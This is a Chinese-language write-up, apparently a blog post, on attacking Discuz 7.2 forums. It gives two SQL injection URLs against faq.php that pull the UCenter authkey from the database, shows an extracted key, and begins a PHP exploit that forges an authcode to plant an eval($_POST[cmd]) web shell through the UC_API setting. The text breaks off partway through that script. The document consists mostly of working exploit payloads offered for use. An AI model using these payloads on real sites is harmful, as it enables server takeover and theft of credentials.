Dz7.2 从获取uc key到getshell

0x01
下午在群里看到的 问下朋友大概 然后用不生不熟的sqlmap在那跑
–
表能跑的出 列就GG了 然后没辙
–
晚上跑各大论坛逛了遍果然大神多

就慢慢的研究下了下 看了pt0n大牛的分析文 真心感叹这洞 呵呵-。-

0x02
获取uc key

exp:

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23

没完整取值只取了62位

我们再取一次

exp:

faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,60) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23

 

那么获取到的uc key就是

d77978Sbq4b39bVccfK0J9B0K3x792ieH39dNbY8s8l79dB3z63fp2t563rdm6P4

和shell里的对比下

 


0x03
利用uc key getshell

EXP：

<?php $timestamp = time()+10*3600; $host="bbs.xxxxxx.com"; $uc_key="A1v8Z5Z7feZdmfcd72J5C5V8hc8dM4F6V2g0h5ofXdS6jcm1C78bZede39z51610"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">xxx\');eval($_POST[cmd]);//</item> </root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">aaa</item> </root>'; $html1 = send($cmd1);